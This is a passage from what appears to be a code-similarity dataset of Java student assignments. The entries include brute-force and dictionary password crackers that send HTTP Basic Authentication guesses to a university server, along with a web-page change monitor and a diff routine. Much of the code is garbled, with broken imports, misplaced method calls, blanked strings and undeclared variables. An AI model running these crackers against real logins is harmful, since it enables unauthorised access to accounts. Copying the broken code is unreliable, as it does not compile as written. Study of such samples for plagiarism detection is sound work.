for(int k=0; k<charLen; k++)
{
pwdChar2[0] = data[0][j];
pwdChar2[1] = data[1][k];
password[n++] = String.copyValueOf(pwdChar2);
}
for(int i=0; i<charLen; i++)
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar[0] = data[0][i];
pwdChar[1] = data[1][j];
pwdChar[2] = data[2][k];
password[n++] = String.copyValueOf(pwdChar);
}
n = 0;
startTime = new Date().getTime();
try {
while(true) {
url = commandLine+password[n++];
if(n>=n3) {
System.out.println("\n not find the password for user .");
finish = false;
break;
}
curl = run.exec(url);
responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
response = responseLine.readLine();
if(response.substring(9,12).equals("200")) break;
responseLine = null;
}
}
catch(IOException ioe){
System.out.println("\n IO Exception! \n");
System.out.println("The current url is:"+ url);
System.out.println("The current trying password is:"+password[n-1]);
finish=false;
}
endTime = new Date().getTime();
totalTime = (endTime-startTime)/1000;
System.out.println(" The response time is:"+ totalTime + " seconds\n");
if(finish) {
System.out.println(" The password for is:"+ password[n-1]);
try {
savePassword(password[n-1], totalTime);
}
catch (IOException ioec) {
System.out.println(" not save the password file BruteForce_pwd.txt ");
}
}
}
public void first() {
System.out.println("\n\n---------------------------------------------------------------");
System.out.println(" Use curl command Brute Force the password for user .");
System.out.println(" Attention: curl should able run at your directory");
System.out.println(" without setting the Path for it.");
System.out.println("---------------------------------------------------------------");
}
public void savePassword(String passwdString, int time) throws IOException {
DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt"));
outputStream.writeChars("The password is:");
outputStream.writeChars(passwdString+"\n");
outputStream.writeChars("The response time is: ");
outputStream.writeChars(time1.toString(time));
outputStream.writeChars(" seconds\n");
outputStream.close();
}
public static void main(String[] args) {
new BruteForce();
}
}
- source_sentence: |+
import java.io.*;
import java.*;
import java.net.*;
public class BruteForce
{
public static void main(String[] args) throws Exception
{
String password = checkPassword();
System.out.println("Congratulations Your password is "+ password );
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(":"+password));
BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
}
private static String checkPassword() throws Exception
{
String Password=" ";
int attempt=0;
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection sec;
String[] cad = {"a","b","c","d","e","f","g","h","i","j","k","l","m",
"n","o","p","q","r","s","t","u","v","w","x","y","z",
"A","B","C","D","E","F","G","H","I","J","K","L","M",
"N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};
for (int i=0; i < cad.length; i++)
{
for (int j=0; j< cad.length;j++)
{
for (int k=0; k<cad.length;k++)
{
attempt++;
String Passwd = new String(cad[i]+cad[j]+cad[k]);
String userPasswd= ":"+Passwd;
System.out.println(attempt+" "+userPasswd);
sec = (HttpURLConnection)url.openConnection();
sec.setRequestProperty("Authorization", " " + encode(userPasswd));
if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
{
Password=Passwd;
return Password;
}
sec.disconnect();
}
}
}
return "Password not found";
}
private static String encode(String userPasswd) throws Exception
{
String ad;
String encodedUserPasswd=" ";
String addr= "~//base64_encode.php "+userPasswd ;
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr});
BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ( (cad = resp.readLine()) != null )
{
encodedUserPasswd=cad;
}
return encodedUserPasswd;
}
}
sentences:
- "import java.io.*;\n\npublic class ReadDictionary {\n\tprivate BufferedReader bf;\n\tprivate String line=\"\";\n\n public static void main (String argv[]) throws Exception { \n ReadDictionary rd=new ReadDictionary();\n\t rd.openFile();\n\t for (int inx=0; inx<800 ;inx++ )\n\t {\n\t \tSystem.out.println(inx + \" \" + rd.readLine() );\n\t }\n } \n\t \n \n\n\tpublic void openFile()\n\t{\n\t\ttry\n\t\t{\n\t\t\tsetBr(new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\")));\n\n\t\t}catch(IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\t\t}\n\t}\n\n\tpublic String readLine()\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\t{\n\t\t\t\tline = bf.readLine();\n\t\t\t}while (line != null && line.length() >3);\t\t\t\n\t\t}catch (IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\t\t}\n\t\treturn(line);\n\t\t\n\t}\t\n\n\t\n\tpublic BufferedReader getBr()\n\t{\n\t\treturn this.line;\n\t}\n\n\tpublic void setBr(BufferedReader bf)\n\t{\n\t\tthis.bf = bf;\n\t}\n}\n"
- |-
import java.net.*;
import java.io.*;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.*;
import java.*;
public class Dictionary {
public static void main(String[] args) throws Exception {
String pass;
int attempt = 0;
String fileName = "words.txt", line;
BufferedReader reader;
Dictionary dict = new Dictionary();
boolean flag=false;
System.out.println(System.currentTimeMillis()/1000);
try{
reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
while (!flag)
{
try{
line = reader.readLine();
attempt++;
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection yc = url.openConnection();
pass = ":" + line;
String password = new url.misc.BASE64Encoder().encode(pass.getBytes());
yc.setRequestProperty("Authorization"," "+password);
BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
System.out.println(pass);
flag=true;
System.out.println(System.currentTimeMillis()/1000);
System.out.println(" of attempt: "+attempt);
System.exit(0);
}catch(IOException e){
}
}
}catch(FileNotFoundException e){
System.out.println("File not found");
}
}
}
- |-
import java.io.*;
import java.util.Date;
import java.jscape.inet.http.*;
class BruteForce
{
public static void main (String args[]) throws Exception
{
String username = "";
byte asciiLower[] = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};
byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};
int errorMessage = 401;
int firstPosition = 0;
int secondPosition = 0;
int thirdPosition = 0;
int number = 1;
int attempts = 0;
Http http = new Http();
HttpRequest request = new HttpRequest ("http://sec-crack.cs.rmit.edu./SEC/2/" );
Date startDate = new Date();
for(firstPosition = 0; firstPosition < 26; firstPosition++)
{
String one = new String (asciiLower, firstPosition, number);
String password = one;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 401)
{
for(firstPosition = 0; firstPosition < 26; firstPosition++)
{
String one = new String (asciiUpper, firstPosition, number);
String password = one;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String password = one + two;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String password = one + two;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if(errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String password = one + two;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String three = new String (asciiLower, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String three = new String (asciiUpper, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String three = new String (asciiLower, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String password = one + two;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String three = new String (asciiUpper, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String three = new String (asciiUpper, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String three = new String (asciiLower, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String three = new String (asciiLower, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String three = new String (asciiUpper, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
Date endDate = new Date();
System.out.println("Password crack finished: " + endDate);
System.out.println("Password crack started: " + startDate);
System.out.println(" of attempts: " + attempts);
}
}
- source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\nimport java.security.*;\n\npublic class WatchDog\n{\n private String file,tempfile1,tempfile2,tempfile3;\n\tprivate final String host=\"yallara.cs.rmit.edu.\";\n private final String email=\"@cs.rmit.edu.\";\n private final String from=\"[email protected].\";\n private final String subject=\"SUBJECT:Mail from Watchdog about the changes the web-.\";\n private String baseURL=\"\";\n\tprivate String msg;\n\tprivate boolean firstTime=false;\n public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\t}\n\n public void startWatching(String[] urls,String fl)\n {\n\t\tfile=fl;\n\t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"/temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o<urls.length;o++)\n\t\t\t\t{\n\t\t\t\t\tfile=fl+\"/ass2_\"+o+\".log\";\n\t\t\t\t\tURL u=new URL(urls[o]);\n\t\t\t\t\tString f=u.getFile();\n\t\t\t\t\tString url=urls[o];\n\t\t\t\t\tif(f.lastIndexOf('.')<f.lastIndexOf('/'))\n\t\t\t\t\t{\n\t\t\t\t\t\turl=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t\t\turl=u.getProtocol()+\"://\"+u.getHost()+url;\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(url);\n\t\t\t\t\twatch(url);\n\t\t\t\t\tmsg=msg+\"\\n\\n\";\n\t\t\t\t}\n\t\t\t\tif(firstTime==false)\n\t\t\t\t{\n\t\t\t boolean flag=mail(msg);\n\t\t\t if(flag)\n\t\t\t\t\tSystem.out.println(\"mail sent\");\n\t\t\t\t else\n\t\t\t\t\tSystem.out.println(\"mail not sent\");\n \t\t\t\t Thread.sleep(1000*60*60*24);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t\t\tcatch(Exception e)\n\t\t\t{\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\t\t\t\n }\n\n\tprivate void watch(String url) throws IOException\n\t{\n\t\t baseURL=url;\n\t\t msg=msg+\"Going check the URL \"+url+\".\\n\";\n\t \n\t\t String pageText=getResource(url);\n\n\t\t\t String [] images=getImages(pageText);\n\n\t\t\t if(firstTime==false)\n\t msg= msg + checkChange(pageText,images);\t \n\n\t\t msg=msg+\". Checked at \"+new java.util.Date(System.currentTimeMillis())+\".\";\n\n\t\t log(pageText,images);\n\n\t\t\tif(firstTime)\n\t\t\t\tSystem.out.println(\"Re-run the watchDog (without the First flag).\");\n\t}\n\tprivate String checkChange(String pageText,String [] images) throws IOException\n\t{\n\t\t\n\t\tPrintWriter out=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(pageText);\n\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n \tString temp1=\"\",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\ttemp1=\" \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t data=data+\"\"+(char)ch;\n\t\t\t\t ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\n The number of images before was \"+numImg+\" \\n While the number of images found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is change in the number of images the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\t\t\n\t\tfor(int i=0;i<numImg;i++)\n\t\t{\n\t\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"+\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\tiText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is change in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\tint c=0;\n\t\twhile(c<len)\n\t\t{\n\t\t\tch=text.charAt(c);\n\t\t\tif(ch=='<')\n\t\t\t{\n\t\t\t\tlast='<';\n\t\t\t\tt=\"\";\n\t\t\t}\n\t\t\tif(last=='<')\n\t\t\t{\n\t\t\t\tt=\"\"+ch;\n\t\t\t\tif(c+2 < len)\n\t\t\t\t\tt=t+text.charAt(c+1)+\"\"+text.charAt(c+2);\n\t\t\t\tif(t.equalsIgnoreCase(\"img\"))\n\t\t\t\t\timg=true;\n\t\t\t}\n\t\t\tif(img==true)\n\t\t\t\tt=+ch;\n\t\t\tif(ch=='>')\n\t\t\t{\n\t\t\t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n<t.length())\n\t\t\t\t\t{\n\t\t\t\t\t\ttch=t.charAt(n);\n\t\t\t\t\t\ttn=\"\"+tch;\n\t\t\t\t\t\tif(src==false && tn.equalsIgnoreCase(\"s\") && (n+2)<t.length())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttn=tn+t.charAt(n+1)+\"\"+t.charAt(n+2);\n\t\t\t\t\t\t\tif(tn.equalsIgnoreCase(\"src\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsrc=true;\n\t\t\t\t\t\t\t\tn+=2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(src==true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(tch!='\"')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(tch==' ' && imgPath.indexOf('.')!= -1)\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tn=t.length();\n\t\t\t\t\t\t\t\telse if(tch==' ' || tch=='=')\n\t\t\t\t\t\t\t\t\t;\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\timgPath=imgPath+tch;\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tn++;\n\t\t\t\t\t}\n\t\t\t\t\talist.add(imgPath);\n\t\t\t\t}\n\t\t\t\timg=false;\n\t\t\n\t\t\t}\n\t\t\tc++;\n\t\t}\n\t\turls=(String[])alist.toArray(new String[0]); \n\t\timages=new String[urls.length];\n\t\tfor(int i=0;i<urls.length;i++)\n\t\t{\n\t\t\tSystem.out.println(urls[i]);\n\t\t\tif(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"HTTP\")==false && urls[i].startsWith(\"/\")==false)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+\"/\"+urls[i]);\t\t\t\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\tString f=baseURL+\"/\"+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"HTTP\")==false)\t\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+urls[i]);\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\tString f=baseURL+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(urls[i]);\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\timages[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t\treturn images;\n\t}\n\tprivate void log(String pageText,String[] images) throws IOException\n {\n\t\tPrintWriter out=new PrintWriter(new FileOutputStream(file));\n\t\tout.println(pageText);\n\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\t\n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i<images.length;i++)\n\t\t{\n\t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n public String getResource(String url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\t\tString urlData=new String(\"\");\n InputStreamReader in=new InputStreamReader(new URL(url).openStream());\n int ch=in.print();\n while(ch!= -1)\n {\n urlData=urlData+(char)ch;\n ch=in.print();\n }\n\t\treturn urlData;\n\t}\n\n public boolean mail (String msg) throws IOException\n {\n boolean ret=true;\n try\n {\n Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n out.println(\"RCPT :\");\n System.out.println(in.readLine());\n out.println(\"DATA\");\n System.out.println(in.readLine());\n out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n out.println(msg);\n \t out.println(\".\");\n System.out.println(in.readLine());\n out.println(\"QUIT\");\n System.out.println(in.readLine());\n }\n catch(Exception e)\n {\n e.printStackTrace();\n System.out.println(\"Some error occoured while communicating server\");\n ret=false;\n \t return ret;\n }\n\t System.out.println(\"**************************************\\nMAIL ->\"+msg);\n return ret;\n }\n\n\tpublic static void main (String[] args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog <space seperated list of urls> <current path> [First] \\n {The First at the end is used when running the watch dog for a new URL for the first Time}\");\n\t\tboolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int i=0;i<u.length;i++)\n\t\t\tu[i]=args[i];\n\t\tw.startWatching(u,args[num]);\n\t}\n}\n"
sentences:
- |
import java.util.Hashtable;
public class Diff {
public Diff(Object[] a,Object[] b) {
Hashtable h = new Hashtable(a.length + b.length);
filevec[0] = new file_data(a,h);
filevec[1] = new file_data(b,h);
}
private int equiv_max = 1;
public boolean heuristic = false;
public boolean no_discards = false;
private int[] xvec, yvec;
private int[] fdiag;
private int[] bdiag;
private int fdiagoff, bdiagoff;
private final file_data[] filevec = new file_data[2];
private int cost;
private int diag (int xoff, int xlim, int yoff, int ylim) {
final int[] fd = fdiag;
final int[] bd = bdiag;
final int[] xv = xvec;
final int[] yv = yvec;
final int dmin = xoff - ylim;
final int dmax = xlim - yoff;
final int fmid = xoff - yoff;
final int bmid = xlim - ylim;
int fmin = fmid, fmax = fmid;
int bmin = bmid, bmax = bmid;
final boolean odd = (fmid - bmid & 1) != 0;
fd[fdiagoff + fmid] = xoff;
bd[bdiagoff + bmid] = xlim;
for (int c = 1;; ++c)
{
int d;
boolean big_snake = false;
if (fmin > dmin)
fd[fdiagoff + --fmin - 1] = -1;
else
++fmin;
if (fmax < dmax)
fd[fdiagoff + ++fmax + 1] = -1;
else
--fmax;
for (d = fmax; d >= fmin; d -= 2)
{
int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1];
if (tlo >= ylim)
x = tlo + 1;
else
x = ylim;
oldx = x;
y = x - d;
while (x < xlim && y < ylim && xv[x] == yv[y]) {
++x; ++y;
}
if (x - oldx > 20)
big_snake = true;
fd[fdiagoff + d] = x;
